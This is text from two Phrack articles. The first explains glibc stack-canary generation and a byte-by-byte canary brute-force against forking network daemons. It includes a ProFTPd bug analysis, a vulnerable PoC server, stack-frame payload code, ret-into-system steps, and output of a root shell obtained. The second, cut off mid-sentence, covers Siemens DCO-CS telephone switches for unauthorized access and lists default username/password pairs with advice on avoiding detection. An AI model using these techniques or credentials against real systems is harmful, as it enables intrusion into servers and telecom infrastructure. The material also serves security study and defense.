before): --------------------------------------------------------------------------- static void security_init (void) { /* Set up the stack checker's canary. */ uintptr_t stack_chk_guard = _dl_setup_stack_chk_guard (); #ifdef THREAD_SET_STACK_GUARD THREAD_SET_STACK_GUARD (stack_chk_guard); #else __stack_chk_guard = stack_chk_guard; #endif [...] // pointer guard stuff } --------------------------------------------------------------------------- The canary value is created by the function _dl_setup_stack_chk_guard(). In original implementation published by IBM it was the function __guard_setup. Depending on the operating system, the function _dl_setup_stack_chk_guard() is either defined in file "sysdeps/unix/sysv/linux/dl-osinfo.h" or in file "sysdeps/generic/dl-osinfo.h" If we go to the UNIX System V definition of the function we will find: --------------------------------------------------------------------------- static inline uintptr_t __attribute__ ((always_inline)) _dl_setup_stack_chk_guard (void) { uintptr_t ret; #ifdef ENABLE_STACKGUARD_RANDOMIZE int fd = __open ("/dev/urandom", O_RDONLY); if (fd >= 0) { ssize_t reslen = __read (fd, &ret, sizeof (ret)); __close (fd); if (reslen == (ssize_t) sizeof (ret)) return ret; } #endif ret = 0; unsigned char *p = (unsigned char *) &ret; p[sizeof (ret) - 1] = 255; p[sizeof (ret) - 2] = '\n'; return ret; } --------------------------------------------------------------------------- If the macro ENABLE_STACKGUARD_RANDOMIZE is enabled, the function open the device "/dev/urandom", read sizeof(uintptr_t) bytes and return them. Otherwise of if this operation is not successful, a terminator canary is generated. First it put the value 0x00 in the variable ret. Next it changes two bytes to the value 0xFF and 0xa. Finally the terminator canary will always be 0x00000aff. Now if we go to the definition of function _dl_setup_stack_chk_guard() for other operating systems we see: --------------------------------------------------------------------------- #include static inline uintptr_t __attribute__ ((always_inline)) _dl_setup_stack_chk_guard (void) { uintptr_t ret = 0; unsigned char *p = (unsigned char *) &ret; p[sizeof (ret) - 1] = 255; p[sizeof (ret) - 2] = '\n'; p[0] = 0; return ret; } --------------------------------------------------------------------------- So this function always generates a terminator canary value. Conclusion ---------- Either the canary is fully random and unpredictable (assuming /dev/urandom is safe which is a fair assumption) or it's constant and weak (weaker than stackguard) but nontheless troublesome in some kind of situations. The storage of its value is dependant on the TLS which itself is not at fixed location (and the virtual address is never leaked in the code thanks to the segment selector trick) which means that it could hardly be leaked. ---[ 3.3 - Exploiting canaries remotely Usually networks daemons create a new thread by calling clone() or a new process by calling fork() to support a new connection. In the case of fork() and depending on the daemon, the child process may or may not call execve() which means that it will be in one the two situations: 1. without execve() [mother] --------> accept() | | | | <- new connection | | | fork() | | | | mother | | child -----------| | | read() | ... ... 2. with execve() [mother] --------> accept() | | | | <- new connection | | | fork() | | | | mother | | child -----------| | | execve() | | read() | ... ... Note 1: OpenSSH is a good example of the second example. Note 2: Of course there is also the possibility that the server is using select() instead of accept(). In such case, there is of course no fork(). As stated by the man page: *) the fork() system call creates a duplicate of the calling process which means that father and child share a same canary as this is a per-process-canary and not a per-function-canary mechanism. This is an interesting property as if for each attempt we were able to guess a little of the canary then with a finite number of guesses we would be successful. *) when execve() is called "text, data, bss, and stack of the calling process are overwritten by that of the program loaded." This implies that the canary is different for each child. As a result, being able to guess a little of the child canary is most likely useless as this will result in a crash and any result wouldn't be applicable to the next child. Considering 32-bits architecture, the number of possible canaries is up to 2^32 (2^24 on Ubuntu) which is around 4 billions (respectively 16 millions) which is impossible to test remotely while feasible locally in a few hours. What should one do? Ben Hawkes [9] suggested an interesting method: brute forcing with a byte-by-byte technique which is much more effective. When can we use it? As we have mentioned, the canary does not change while fork()'ing whereas with execve() it does. As a result guessing one byte after an other requires that the fork() is not followed by an execve() call. Here is the stack of the vulnerable function: | ..P.. | ..P.. | ..P.. | ..P.. | ..C.. | ..C.. | ..C.. | ..C.. | P - 1 byte of buffer C - 1 byte of canary First, we overwrite the first byte of canary and we check when the program ends with an error and when does not. It could be done in several ways. Hawkes proposed to estimate the program's answer time: whenever it misses the canary's byte, the program ends immediately. When the canary's byte matches, the program will still run, so its ending time is much longer than in the first case. We do not necessarily have to use that technique. It often happens that after calling the function, the server (daemon) sends us back some responses as the result of an operation. All we need to do is to check whether an expected data is received by the socket. If it is the expected one, it means we've got the correct canary's byte and we can move to the next one. Because 1 byte can have 256 different values at most, it becomes a relative calculus. Knowing the first byte's value, we have to guess 256 different possibilities for the following bytes which means that the whole cookie could be guessed in 4*256 = 1024 combinations which is reasonable. Here is the drawing of the four steps (each being a particular byte guess): First byte: | ..P.. | ..P.. | ..P.. | ..P.. | ..X.. | ..C.. | ..C.. | ..C.. | Second byte: | ..P.. | ..P.. | ..P.. | ..P.. | ..X.. | ..Y.. | ..C.. | ..C.. | Third byte: | ..P.. | ..P.. | ..P.. | ..P.. | ..X.. | ..Y.. | ..Z.. | ..C.. | Fourth byte: | ..P.. | ..P.. | ..P.. | ..P.. | ..X.. | ..Y.. | ..Z.. | ..A.. | When the attack is finished, we know that the canary's value is XYZA. With this knowledge we are then able to continue the attack of the application. Overwriting data, we put the canary's value in the canary's location. Since the canary is overwritten by its original value, the memory corruption is not detected. The easiest and simplest way to find the canary's location is nothing else than testing. If we know that we can overwrite a 100 bytes buffer, we actually send a fake packet with 101 bytes length and we check the answer in the same way as we did while discussing theory of breaking the canary's value. If the program does NOT crash, it means that we have overwritten something else than the canary with high probability (we could also have overwritten the first byte of the canary with the correct value). Continuing to increase the amount of overwritten bytes, the program will finally stop running so we will know where the canary's value begins. Mitigation ---------- When will this technique not work? Every time we can't fully control the overwritten bytes. For example you may not be able to control the last character of your buffer or you may be have to deal with filtering (if NULL bytes are prohibited then it's over). A good example of such a situation is the latest pre-auth ProFTPd bug (CVE-2010-3867) discovered by TJ Saunders. The bug lies in the parsing of TELNET_IAC chars because of miscalculated end of reading loop. Let's look at this bug closer. The problem lies in the function pr_netio_telnet_gets() from the file "src/netio.c": --------------------------------------------------------------------------- char *pr_netio_telnet_gets(char *buf, size_t buflen, pr_netio_stream_t *in_nstrm, pr_netio_stream_t *out_nstrm) { char *bp = buf; ... [L1] while (buflen) { ... toread = pr_netio_read(in_nstrm, pbuf->buf, (buflen < pbuf->buflen ? buflen : pbuf->buflen), 1); ... [L2] while (buflen && toread > 0 && *pbuf->current != '\n' && toread--) { ... if (handle_iac == TRUE) { switch (telnet_mode) { case TELNET_IAC: switch (cp) { ... ... default: ... *bp++ = TELNET_IAC; [L3] buflen--; telnet_mode = 0; break; } ... } } *bp++ = cp; [L4] buflen--; } ... ... *bp = '\0'; return buf; } } --------------------------------------------------------------------------- The loop [L2] reads and parses the bytes. Each time it decrements buflen [L4]. A problem exists when TELNET_IAC character comes (0xFF). When this character occurs in the parsing buflen is decremented [L3]. As a result in this situation, buflen is decremented by 2 which is perfect to bypass an inappropriate check in [L1]. Indeed, when buflen == 1 if the parsed character is TELNET_IAC then buflen = 1 - 2 = -1. As a result, the "while (buflen && " condition of [L1] holds and the copy continues (until an '\n' is found). The function pr_netio_telnet_gets() is called by function pr_cmd_read() from file "src/main.c": --------------------------------------------------------------------------- int pr_cmd_read(cmd_rec **res) { static long cmd_bufsz = -1; char buf[PR_DEFAULT_CMD_BUFSZ+1] = {'\0'}; ... while (TRUE) { ... if (pr_netio_telnet_gets(buf, sizeof(buf)-1, session.c->instrm, session.c->outstrm) == NULL) { ... } ... ... return 0; } --------------------------------------------------------------------------- In this case the argument for the vulnerable function is a local buffer on the stack. So this is a classical stack buffer overflow bug. In theory all conditions are met to bypass pro-police canary using the byte-by-byte technique. But if we look closer to the vulnerable function we see this code: *bp = '\0'; ... which break the idea of using a byte-by-byte attack. Why? Because we can never control the last overflowed byte which is always 0x00, only the penultimate. Additionally, the 'byte-by-byte' method requires that all children have a same canary. This is not possible if the children are calling execve() as explained earlier. In such a situation, a bruteforce attack is quite unlikely to succeed. Of course we could try to guess 3 bytes each time if we had a lot of time... but it would means a one shot attack afterward since multiplying the complexity of both attempts would require too much time. Finally, grsecurity provides an interesting security feature to prevent this kind of exploitation. Considering the fact that the bruteforce will necessarily result in the crash of children, then a child dying with SIGILL (such as if PaX killed it for example) is highly suspicious. As a result, while in do_coredump() the kernel set a flag in the parent process using the gr_handle_brute_attach() function. The next forking attempt of the parent will then be delayed. Indeed in do_fork() the task is set in the TASK_UNINTERRUPTIBLE state and put to sleep for (at least) 30s. --------------------------------------------------------------------------- +void gr_handle_brute_attach(struct task_struct *p) +{ +#ifdef CONFIG_GRKERNSEC_BRUTE + read_lock(&tasklist_lock); + read_lock(&grsec_exec_file_lock); + if (p->p_pptr && p->p_pptr->exec_file == p->exec_file) + p->p_pptr->brute = 1; + read_unlock(&grsec_exec_file_lock); + read_unlock(&tasklist_lock); +#endif + return; +} + +void gr_handle_brute_check(void) +{ +#ifdef CONFIG_GRKERNSEC_BRUTE + if (current->brute) { + set_current_state(TASK_UNINTERRUPTIBLE); + schedule_timeout(30 * HZ); + } +#endif + return; +} --------------------------------------------------------------------------- While this mechanism has its limit (SIGILL is the only signal to trigger the delay), it proves itself effective to slow down an attacker. --[ 4 - A few words about the other protections When the daemon is forking without calling execve() we can bypass SSP because we can discover the "random" value of the canary, but we still have to deal with non-exec memory and ASLR. Executable Space Protection --------------------------- The 10th of August 1997 Solar Designer's post in bugtraq mailing list introduced the ret-into-libc attack which allows to bypass non-exec memory restriction [11]. The technique was later enhanced by nergal in his phrack paper [10] in which he introduced many new and now well known concepts still in use nowadays such as: *) Chaining. The consecutive call of several functions. [10] describes the necessary stack layout to perform such a thing on x86. The concept was later extended to other architectures and "gadgets" (ROP) were introduced. *) The use of mprotect() which was introduced as a counter measure against PaX and still effective on some systems (though not on PaX itself). *) dl-resolve() which allows to call functions of the shared library even when they don't have an entry in the PLT. Ok - so we know the technique that we should use to bypass non-executable memory but we still have a few problems. We don't know the address of the function that should be called (typically a system()-like) and the address of the argument(s) for this function. At that point as an attacker you may have three solutions: *) You can try to bruteforce. Obviously and as stated many times, you should only bruteforce the strict necessary which is usually an offset from which you can deduce the missing addresses. Interesting information though a bit outdated on how you could perform this are given in [12]. *) You find some way to perform an info leak. Depending on the situation this can be tricky (though not always) especially on modern systems where daemons are often compiled as PIE binaries. For example on recent Ubuntu, by default most daemons are PIE binaries. As a result, it's no more possible to use fixed address in the code/data segment of the program. *) You can exploit the memory layout to find some clever way to reduce the amount of parameters to guess. Depending on the context, a deep study of the program may be necessary. The important thing to remember is that there is no generic technique, a clever bug exploitation is highly dependant of the context induced by the program itself. This is especially true with modern memory protections. ASLR: Taking advantage of fork() -------------------------------- As explained earlier the address space of the child process is a copy of its parent. However this is no longer the case if the child performs an execve() as the process is then completely reloaded and the address space is then totally unpredictable because of the ASLR. From a mathematical point of view, guessing an address is a: - sampling without replacement (in fork() only situations) - sampling with replacement (in fork() followed by execve() situation) In the case of PIE network daemons, you have at least two distincts sources of entropy: *) the cookie: 24 bits or 32 bits on 32 bit OS *) the ASLR: 16 bits for mmap() randomization with PaX (in PAGEEXEC case) on 32 bit OS (Last claim is proved by the following patch extract) --------------------------------------------------------------------------- +#ifdef CONFIG_PAX_ASLR + if (current->mm->pax_flags & MF_PAX_RANDMMAP) { + current->mm->delta_mmap = (pax_get_random_long() & ((1UL << PAX_DELTA_MMAP_LEN)-1)) << PAGE_SHIFT; + current->mm->delta_stack = (pax_get_random_long() & ((1UL << PAX_DELTA_STACK_LEN)-1)) << PAGE_SHIFT; + } +#endif +#define PAX_DELTA_MMAP_LEN (current->mm->pax_flags & MF_PAX_SEGMEXEC ? 15 : 16) +#define PAX_DELTA_STACK_LEN (current->mm->pax_flags & MF_PAX_SEGMEXEC ? 15 : 16) --------------------------------------------------------------------------- Note: ET_DYN object randomization is performed using the delta_mmap offset. We will see in chapter 5 that we need to guess this parameter. Now the main idea is that without execve() the expected number of trials to perform the attack is the sum of the number of attempts required to guess the canary and the memory layout. With execve() it's their product. Example: Exploiting the proftpd bug on an Ubuntu 10.04 + PaX with: - no byte-by-byte - no execve() - cookie has a null byte - binary is compiled as PIE It should require an average of 2^24 + 2^16 attempts (if binary is PIE). From a complexity point of view, we could say that guessing both values is as hard as guessing the cookie. Note: Last minute update. It seems that proftpd is not compiled as PIE in common distributions/Unix (according to many exploits targets). ---[ 5. Hacking the PoC As a proof of these scribbles let's study and exploit an example of a vulnerable server (complete code is in appendix). A trivial stack overflow was emulated in the following function: --------------------------------------------------------------------------- int vuln_func(char *args, int fd, int ile) { char buf[100]; memset(buf, 0, sizeof buf); if ( (strncmp(args,"vuln",4)) == 0) { [L1] #ifdef __DEBUG stack_dump("BEFORE", buf); [L2] #endif write(fd,"Vuln running...\nCopying bytes...",32); memcpy(buf,args+5,ile-5); [L3] #ifdef __DEBUG stack_dump("AFTER", buf); [L4] #endif write(fd,"\nDONE\nReturn to the main loop\n",30); [L5] return 1; } else if ( (strncmp(args,"quit",4)) == 0) { write(fd,"Exiting...\n",11); return 0; } else { write(fd,"help:\n",6); write(fd," [*] vuln \n",17); write(fd," [*] help\n",10); write(fd," [*] quit\n",10); return 1; } } --------------------------------------------------------------------------- Let's analyze a bit this function: *) The bug is triggered when an attacker supplies a "vuln XXXXX" with a large enough "XXXXX" (> 100 bytes). [L1, L3] *) The attacker is fully able to control his payload without restrictions (no payload filtering, no overflow restriction) *) When the overflow takes place, we possibly overwrite some local variables which may induce a bug in [L5] and possibly crash the program. Note: Because of the fork(), debugging can be tedious. As a result I added a function to leak the stack layout in a file both before and after the overflow. The program was compiled with -fstack-protector-all and -fpie -pie which means that we will have to exploit the program with: *) Non exec + full ASLR (code and data segments are also randomized) *) Stack canary *) Ascii armored protection Depending on the Unix target, some of these protections may or may not be effective. However we will assume that they are all activated. Taking advantage of fork() -------------------------- The first process of the exploitation is obviously to guess the stack cookie. As said earlier, fork() will grant us children with the same address space. As a result we will be able to guess the cookie with the technique described in 3.3 which allows us to arbitrary overwrite anything (including of course the saved EIP). In a second time, we need to find an address in which returning. One of the best solution is to return into a function of the .text which would generate some network activity. However the server is a PIE binary thus an ET_DYN ELF object. As a result, the address of this function has to be guessed. Now assuming that we have the original binary (fair assumption), the offset of the function is known which means that we only need to bruteforce the load address of the ELF object. Since such an address is aligned on PAGE_SIZE basis, on a 32bits architecture the 12 less significant bits are all 0. For example consider the following code: 10be: e8 fc ff ff ff call 10bf 10c3: c7 44 24 08 44 00 00 movl $0x44,0x8(%esp) ^^----------------------- last byte value. not randomised at all ^------------------------- last half value. bottom nibble is not randomised Additionally if Ascii Armour protection is used, the most significant byte of the address will be 0x00 (something which does not happen under PaX). The conclusion is that the amount to bruteforce is so small that it can be done in a couple of seconds/minutes through the network. Studying the stack layout -------------------------- Thanks to our debugging function, it's easy to see the stack layout when the crash occurs. Here is the layout on an Ubuntu 10.04 before the overflow: bfa38648: 00000000 00000000 00000000 00000000 bfa38658: 00000000 00000000 00000000 00000000 bfa38668: 00000000 00000000 00000000 00000000 bfa38678: 00000000 00000000 00000000 00000000 bfa38688: 00000000 00000000 00000000 00000000 bfa38698: 00000000 00000000 00000000 00000000 bfa386a8: 00000000 8c261700 00000004 005cdff4 bfa386b8: bfa387f8 005cbec1 bfa386f4 00000004 bfa386c8: 0000005f 00000000 00258be0 00257ff4 bfa386d8: 00000000 0000005f 00000003 00000004 bfa386e8: 0000029a 00000010 00000000 6e6c7576 We can thus see that: *) The cookie (0x8c261700) is at 0xbfa386ac. *) The return address is 0x005cbec1 *) The argument of vuln_func() are (0xbfa386f4, 0x4 and 0x5f) There is a really nice way to take advantage of this situation. If we chose to return into the 'call vuln_func()' instruction then the arguments will be reused and the function replayed which will generate the needed network flow to detect the right value of the base address. Here is the C code building our payload: addr_callvuln = P_REL_CALLVULN + (base_addr << 12); *(buf_addr++) = canary; *(buf_addr++) = addr_callvuln; // <-- dummy *(buf_addr++) = addr_callvuln; // <-- dummy *(buf_addr++) = addr_callvuln; // <-- dummy *(buf_addr++) = addr_callvuln; // <-- ret-into-callvuln! Note: Overwriting the next 4 bytes (args) with addr_callvuln is also possible. Depending on the situation (whether you have the binary or not), it can be an option to help with the bruteforce. Returning-into-system --------------------- Now the idea is to get the shell. Since we know the load address, the only thing that needs to be done is to call a function which will give us a shell. Again this is very specific to the daemon that you need/want to exploit but in this case, I exploited the use of system(). Indeed in the code you can find: c8d: e8 d6 fb ff ff call 868 ^------------------------------- cool offset One may object that there is also the system parameter to find but "args" is on the stack and pointing to a user controlled buffer which means that we can do a return-into-callsystem(args). Note: In this case we were lucky (it was not done on purpose!) but the following situation could also have occurred: int vuln_func(int fd, char *args, int ile); In this case, the layout would be... [ .... ] [ old_ebp ] [ old_eip ] [ fd ] [ args ] [ ile ] [ .... ] This would make no difference as we could use a return-into-ret and overwrite fd with callsystem. An other solution would be to deduce the address of the system() entry in the PLT and to call it as its first argument would be "args" (classical return-into-func). Note: It may happen in real life situation that you have no stack address at disposal. Thus there are 2 solutions: *) You bruteforce this address. It's lame. But sometimes you have no other options (like when the overflow is limited which restricts your ability to performed chained return-into-*. *) You create a new stack frame somewhere in the .data section. Knowing the loading address of the ELF object, it's easy to locate the .data section. You would thus be able to create a whole fake stack frame using a chained return-into-read(fd, &newstack_in_data, len) and then finally switch the stack using a leave-ret sequence. Fun and 100% cool. It that all? Not quite. We need to be sure that we will be able to reach the 'ret' before crashing. Let's have a look at the epilogue of the function: objdump --no-show-raw-insn -Mintel -d ./s fb1: call 8f8 fb6: lea eax,[ebp-0x70] ; the overflow occurred fb9: mov DWORD PTR [esp+0x4],eax fbd: lea eax,[ebx-0x1bdf] fc3: mov DWORD PTR [esp],eax fc6: call 10ca fcb: mov DWORD PTR [esp+0x8],0x1e fd3: lea eax,[ebx-0x1bd8] fd9: mov DWORD PTR [esp+0x4],eax fdd: mov eax,DWORD PTR [ebp+0xc] ; we control the fd fe0: mov DWORD PTR [esp],eax fe3: call 878 fe8: mov eax,0x1 fed: jmp 10b0 [...] 10b0: mov edx,DWORD PTR [ebp-0xc] 10b3: xor edx,DWORD PTR gs:0x14 10ba: je 10c1 10bc: call 1280 <__stack_chk_fail_local> 10c1: add esp,0x94 10c7: pop ebx ; interesting 10c8: pop ebp 10c9: ret The deadlisting is quite straightforward. The only local variable that is trashed is the fd used by write(). Does it matter? No. In the worst case, the write() will return an EBADF error. What about the ebx register? Well as a matter of fact, it is important to restore its value since it's a PIE. Indeed ebx is used as a global address: 00000868 : 868: jmp DWORD PTR [ebx+0x20] ; ebx is pointing on the PLT ; (.got.plt) 86e: push 0x28 873: jmp 808 <_init+0x30> It's no big deal since the address of the .got.plt section is exactly: load_addr + the memory offset (cf. readelf -S). Here is the final stack frame: *(buf_addr++) = 0x00000004; *(buf_addr++) = (P_REL_GOT + (base_addr << 12)); // used by the GOT. *(buf_addr++) = 0x41414141; *(buf_addr++) = system_addr; // <-- Here is the buffer address When there is no system() ------------------------- The previous situation was a bit optimistic. Indeed when system() is not used in the program, there is obviously no "call system" instruction (and no corresponding PLT entry either). But it's no big deal a return-into-write-like() function is always possible as illustrated below: *(buf_addr++) = 0x00000004; *(buf_addr++) = (P_REL_GOT + (base_addr << 12)); *(buf_addr++) = 0x41414141; *(buf_addr++) = write_addr; // retun into call_write(fd, buf, count) *(buf_addr++) = 0x00000004; // fd *(buf_addr++) = some_addr; // buf *(buf_addr++) = 0x00000005; // count With such a primitive it's easy to info leak anything needed. This could allow you to perform a return-into-dl-resolve() as illustrated in [10]. The implementation of this technique with the PoC exploit is left as an exercise for the reader. Final algorithm --------------- So in the end the final algorithm is: 1) Looking for the distance needed to reach the canary of the death 2) Finding the value of this canary using a 'byte-by-byte' brute force method 3) Using the value of this canary to legitimate overflows, we should start finding the code segment by returning in a function leaking information. 4) Deducing everything needed using the load address 5) Build a new chained return-into-* attack and get the shell! And it should give you something like that: --------------------------------------------------------------------------- [root@pi3-test phrack]# gcc s.c -o s -fpie -pie -fstack-protector-all [root@pi3-test phrack]# ./s start Launched into background (pid: 32145) [root@pi3-test phrack]# ... ... child 32106 terminated sh: vuln: nie znaleziono polecenia [pi3@pi3-test phrack]$ gcc moj.c -o moj [pi3@pi3-test phrack]$ ./moj -v 127.0.0.1 ...::: -=[ Bypassing pro-police PoC for server by Adam 'pi3 (pi3ki31ny)' Zabrocki ]=- :::... [+] Trying to find the position of the canary... [+] Found the canary! => offset = 101 (+11) [+] Trying to find the canary... [+] Found byte! => 0x8e [+] Found byte! => 0x17 [+] Found byte! => 0xa4 [+] Found byte! => 0xd7 [+] Overwriting frame pointer (EBP?)... [+] Overwriting instruction pointer (EIP?)... [+] Starting bruteforce... [+] Success! :) (0x110eee0a) -> @call_write = 0x110eed6c -> @call_system = 0x110eeb9b [+] Trying ret-into-system... [+] Connecting to bindshell... pi3 was here :-) Executing shell... uid=0(root) gid=0(root) grupy=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) Linux pi3-test 2.6.32.13-grsec #1 SMP Thu May 13 17:07:21 CEST 2010 i686 i686 i386 GNU/Linuxexit; --------------------------------------------------------------------------- The demo exploit can be found in the appendix. It was tested on many systems including: *) Linux (Fedora 10, Fedora 11, Fedora 12) *) Linux with PaX patch (2.6.32.13-grsec) *) OpenBSD (4.4, 4.5, 4.6) *) FreeBSD (7.x) ---[ 6 - Conclusion Due to modern protections, classical methods of exploitation may or may not be sufficient to exploit remote stack overflows. We saw that in the context of fork()-only daemons a few conditions were sometimes sufficient for that purpose. At this moment I want to send some greetings... I know it is lame and unprofessional ;) -> Ewa - moja kochana dziewczyna ;) -> Akos Frohner, Tomasz Janiczek, Romain Wartel - you are good friends ;) -> snoop, phunk, thorkill, Piotr Bania, Gynvael Coldwind, andrewg, and #plhack@IRCNET "... opetani samotnoscia..." Best regards Adam Zabrocki. - "Ja tylko sprzatam..." ---[ 7 - References [1] http://phrack.org/issues.html?issue=56&id=5#article [2] The Shellcoder's Handbook - Chris Anley, John Heasman, Felix "FX" Linder, Gerardo Richarte [4] http://marc.info?m=97288542204811 [5] http://pax.grsecurity.net [6] http://www.trl.ibm.com/projects/security/ssp/ [7] http://gcc.gnu.org/gcc-4.1/changes.html [8] http://xorl.wordpress.com/2010/10/14/linux-glibc-stack-canary-values/ [9] http://sota.gen.nz/hawkes_openbsd.pdf [10] http://www.phrack.org/issues.html?issue=58&id=4 [11] http://seclists.org/bugtraq/1997/Aug/63 [12] http://phrack.org/issues.html?issue=59&id=9#article [13] http://www.phrack.org/issues.html?issue=63&id=14 ---[ 8 - Appendix - PoC ---[ 8.1 - The server (s.c) ---[ 8.2 - The exploit (moj.c) ---[ EOF ==Phrack Inc.== Volume 0x0e, Issue 0x43, Phile #0x0e of 0x10 |=-----------------------------------------------------------------------=| |=-----=[ Notes Concerning the Security, Design and Administration ]=----=| |=-----------=[ of Siemens DCO-CS Digital Switching Systems ]=-----------=| |=-----------------------------------------------------------------------=| |=------------------------=[ By The Philosopher ]=-----------------------=| |=--------------------=[ philosopher2600@gmail.com ]=--------------------=| |=-----------------------------------------------------------------------=| Relevance/Context- The Siemens DCO-CS (Digital Central Office Carrier Switch), the premier Class 5 digital local office switching system to be introduced onto the American PSTN, (by Stromberg-Carlson-Siemens had not yet purchased the product line) was originally installed in 1977 in Richmond Hill, Virginia. Designed as a robust switch rich in features primarily to be used for smaller LECs, the DCO was produced for over a decade until Siemens, which acquired the product line in 1990, halted production to focus upon marketing the EWSD. Nonetheless the DCO-CS remains in relatively widespread use throughout the PSTN, often in the possession of smaller CLECs (usually servicing rural areas). For those who wish to explore PSTN switches as well as those with the objective of securing them, the DCO-CS is worthy of examination as security of any substance is largely nonexistent. In light of the above historical information, evidently attributable becomes the extremely poor security of the DCO-CS to the context of the time period in which it was initially designed, within nearly a decade prior to the wide proliferation of the hacker culture potentially interested in unauthorized entry into telco switches; in addition, the mentioned relative inclusiveness of features especially as were developed and added to the existing MMI over a lengthy period of time serves to establish the potential to defeat the security precautions built into the switch with its own valid MMI commands. One example: although this is not directly related to security, many commands in the debug utilities (GBUG, FPBUG, DEBUG, etc.) in certain versions of the DCO-CS operating system are redundant in that they are identical yet named differently, so that when "HELP COMMAND" is entered at the prompt, identical help data will be displayed for both command names, one of which is usually abbreviated. Demonstrative this example is of the layered and almost modular evolution of the DCO MMI. Software updates/upgrades are seemingly uploaded in a modular fashion without regard for the previous state of the software in question. The modularity of the interface is further reflected in the incompatibility of particular utilities with the standard menu characteristics. It may be observed, for example, that certain utilities do not contain a "HELP" option as is typical, and that certain utilities use a linear parameter input system rather than a menu-driven system. It was likely anticipated upon the design of such programs/commands that the user would be experienced in and knowledgeable of their usage, rendering an extensive help file unnecessary. A Distinction of DCO Terminology- The words "program", "utility", and "command" will be used somewhat interchangeably throughout this document, in reference to the commands prefixed with a "$" at the main MMGR prompt (DCO>) that serve to invoke interactive menu/parameter systems with specific functions. Also, "DCO" actually refers to older software revisions prior to the Siemens acquisition of the line, which was henceforth known as "DCO-CS", but here it will simply be used as an abbreviation of sorts for the latter, since the material in this article applies to most software revisions unless stated otherwise. Also, DCO can refer to the entire DCO family of switches, including DCO-E, DCO-SE, and DCO-RLS. Objectives- In formulating the structure of this paper I encountered minor difficulty in the establishment of a consistent method of organization and concept presentation. Initially I intended it to concern solely vulnerabilities inherent in the design of the DCO-CS and commensurate methods of exploiting them in order to maximize the concealment of one's presence in such a system. Quickly I realized, however, that a great deal of explanation of switch operation was necessary to provide a context in which to discuss techniques of intrusion and anti-detection, and that documentation/articles currently available to the underground are inadequate and quite lacking in this regard; however, they are recommended reference material, for at minimum they contain the text of the help files of the DCO and a small amount of basic access suggestions. Consequently this writing exhibits both modularity and general information, encompassing sections concerning specific points of interest in conjunction with occasionally redundant material regarding the switch itself. This facilitates rapid look-up and browsing through specific techniques, while providing beginning readers with a satisfactory base of navigational knowledge. It will be assumed, though, that the reader has access to the help file text, available in "Guide to navigating and using DCO", written by DemonBytez of CyBrids CSE, and Mr. Nobody's "The DCO-CS Operating System", both available in various locations on the Internet. One should also possess at least the background knowledge covered in both of these articles in order to enhance one's comprehension of much of the following material. In addition to technical information surrounding the DCO-CS with an obvious emphasis upon security, the following also contains the observations of the author as to the administration of such switches and specifically common practices related thereto. As the title suggests, these writings, while they present a coherent article that one may fruitfully follow from introduction to conclusion, exhibit the general form of notes. Specific techniques are presented in a sort of "Problem/Solution" format. Also, for evident reasons of which I am confident the reader is aware, the location data, dates, and times have been altered or omitted from the captures included herein. Specific node/site identification information is replaced with "DCO_CITYDATA" in the following captures, and all dates and times are either fictitious examples or zeroes simply designed to demonstrate the general format of the messages. Also, another important note of which to be mindful is that, while to the extent of the author's knowledge all of the material contained within this article is correct, the observations made will not necessarily apply to every DCO switch installation everywhere. They are generalizations derived from a small sample size and should be considered as such. Speculative and Factual Observations as to the Nature of DCO Access ------------------------------------------------------------------- and General Administration -------------------------- DCO-CS Topology- Note: "TTY" herein is used in accordance with its definition, "A generic term for any computer terminal or associated serial interface" and "terminal" is used in accordance with the definition, "a device communicating over a line". (Source: Wikipedia @ http://www.wikipedia.org) No references to teletypes or TDDs (Telecommunication Devices for the Deaf) are intended. Like the Lucent 5ESS, the Siemens DCO-CS is administered through different TTYs (although, unlike the 5ESS, access to the DCO is not divided into as many specialized "channels"), with different attributes and functions. The four types of terminals on the switch, as listed in the help file of the SETTYP option of the SECTTY utility, are UNEQ (unequipped), CRT (video display-the I/O terminals from which the switch is directly administered), TTP (paper printer), and MODEM. The identifying format of these terminals is TTXX, where XX represents two digits. TT00 is the default system master console, the terminal from which the MMI as well as various automatic utilities are consistently run and at which all information, error and alarm messages terminate (unless they are directed elsewhere-see later in the document for further information). Dialups connect to other CRT terminals for remote access. MMI Idiosyncrasies- A few notes on the use of the MMI: first, a semicolon ";" serves the same function as a (carriage return). Backspaces are displayed as "u". Within a few utilities, "EXIT" will take effect immediately after being typed (without a or ;). If one is idle for a while at a prompt or menu, "^U" will appear and the prompt will be re-displayed. Account/User Hierarchy and Structure- While the hierarchical filesystem arrangement of the DCO-CS bears a striking fundamental resemblance to that of UNIX, organized a similar hierarchy of directories and subdirectories with predefined permissions, the user administration system exhibits numerous significant differences in its structure. For example, there exists no "root" superuser with unbridled access to everything, and no user account may interfere directly in the affairs of another ("directly" here defined as "from the (same) shell/session") as might be accomplished through successful execution of the UNIX "su" command. User accounts are instead divided and categorized into certain groups with certain "purposes" on the switch in anticipation of differing necessities. The default groups are ADMIN, TMRS, STATUS, MAINT, SECURE, NAC, ESPF, and SCAT respectively; by default their access is assigned according to the necessary tasks of each type. The access rights of accounts are not quantitatively equivalent, either-certain, more generally used accounts are able to access far more by default than more specialized accounts, the access of which is restricted to only those utilities relevant to their intended functions. All of the usernames and passwords to the various accounts within these groups are contained in the file printed and modified using the utility $PASSWM. These may or may not be set to the default, but it is rather likely that they will be, and even if this is not the case the passwords are unlikely to be very complex due to the limitations imposed by the MMI (passwords on a DCO may be at maximum eight characters in length, and only alphanumeric) and simple human apathy; in many instances it would seem as if extremely simplistic and easily-guessable/crackable passwords are used on switches due to a disbelief in the plausibility of unauthorized access. Regardless, the default passwords for all pre-programmed usernames are simply the usernames themselves-for instance, the SCAT/SCAT username/password combination. A concise table of DCO default accounts is as follows: DCO Defaults ____________ Username Password Group ======== ======== ===== ADMIN ADMIN ADMIN SECURE SECURE SECURE TMRS TMRS TMRS SCAT SCAT SCAT MAINT MAINT MAINT STATUS STATUS STATUS NAC NAC NAC ESPF ESPF ESPF It is significant to the attainment and preservation of one's access on a DCO-CS switch to understand the previously mentioned expected "uses" of each group of accounts, as one ought to align explorations of the switch with the anticipated functions for reasons of stealth-an unauthorized user is far less likely to be detected when using certain accounts for certain functions that they are intended to be "legitimately" used for. The execution of certain utilities while logged in under certain accounts might be viewed as either suspicious or routine by a watchful administrator, depending upon the account and context in which the activity occurs. Although a few techniques exist that serve to provide such a user with a greater degree of "freedom" in this regard by concealing from those monitoring the switch evidence of non-routine activity as is covered elsewhere in this article, it is still useful and certainly prudent to coincide one's activity with appropriate accounts in a limited 